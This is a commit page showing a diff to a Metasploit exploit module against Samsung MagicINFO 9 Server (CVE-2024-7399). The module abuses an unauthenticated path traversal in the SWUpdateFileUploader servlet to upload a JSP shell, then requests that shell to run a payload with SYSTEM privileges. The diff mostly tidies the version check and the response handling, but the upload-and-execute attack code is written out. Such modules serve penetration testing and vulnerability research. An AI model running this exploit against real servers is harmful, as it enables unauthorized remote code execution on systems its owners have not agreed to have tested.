Skip to content

Commit 6d2a1e5

Browse files
committed
Update magicinfo_traversal.rb
1 parent e9c88b5 commit 6d2a1e5

File tree

1 file changed

+11
-10
lines changed

1 file changed

+11
-10
lines changed

modules/exploits/windows/http/magicinfo_traversal.rb

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,8 @@ def initialize(info = {})
1111
'Name' => 'Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)',
1212
'Description' => %q{
1313
Remote Code Execution in Samsung MagicINFO 9 Server <= 21.1050.0.
14-
Remote code execution can be obtained by exploiting a path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet, which can be queried by an unauthenticated user.
14+
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
15+
which can be queried by an unauthenticated user to upload a JSP shell.
1516
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
1617
},
1718
'License' => MSF_LICENSE,
@@ -21,7 +22,8 @@ def initialize(info = {})
2122
],
2223
'References' => [
2324
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-samsung-magicinfo-unauthenticated-rce/'],
24-
[ 'CVE', '2024-7399']
25+
[ 'URL', 'https://security.samsungtv.com/securityUpdates'],
26+
[ 'CVE', '2024-7399'] # SVE-2024-50018
2527
],
2628
'DisclosureDate' => '2025-04-30',
2729
'DefaultOptions' => {
@@ -61,17 +63,16 @@ def check
6163
'uri' => normalize_uri(target_uri.path, 'config.js')
6264
})
6365

64-
return CheckCode::Unknown unless res && res.code == 200
66+
return CheckCode::Unknown unless res&.code == 200
6567

66-
js_object = res.body.to_s[/window\.globalConfig\s*=\s*(\{.*\})/m, 1]
68+
js_object = res.body.to_s[/window\.globalConfig = (\{.+\})/m, 1]
6769

6870
fail_with(Failure::UnexpectedReply, 'Could not extract globalConfig object from response.') unless js_object
6971

70-
json_safe = js_object.gsub(/'/, '"')
71-
json_safe.gsub!(/,(\s*[}\]])/, '\1')
72-
data = JSON.parse(json_safe)
72+
json_b = js_object.gsub(/'/, '"') # replace ' with " so that we can use JSON.parse on the response body
73+
data = JSON.parse(json_b)
7374

74-
full_version = data['magicInfoFrontEndVersion']
75+
full_version = data.fetch('magicInfoFrontEndVersion', nil)
7576
version = full_version[/Server\s+([\d.]+)/, 1]
7677

7778
return CheckCode::Unknown unless version
@@ -101,14 +102,14 @@ def execute_command(cmd)
101102
'uri' => normalize_uri(target_uri.path, 'servlet', "SWUpdateFileUploader?fileName=./#{traversal}server/#{shell}.jsp")
102103
})
103104

104-
if res && res.code == 200
105+
if res&.code == 200
105106
print_good('Upload successful.')
106107
res1 = send_request_cgi({
107108
'uri' => normalize_uri(target_uri.path, "#{shell}.jsp"),
108109
'method' => 'GET'
109110
})
110111

111-
fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') unless res1 && res1.code == 200
112+
fail_with(Failure::PayloadFailed, 'Failed to execute the payload.') unless res1&.code == 200
112113
print_status('Payload executed!')
113114

114115
else

0 commit comments

Comments
 (0)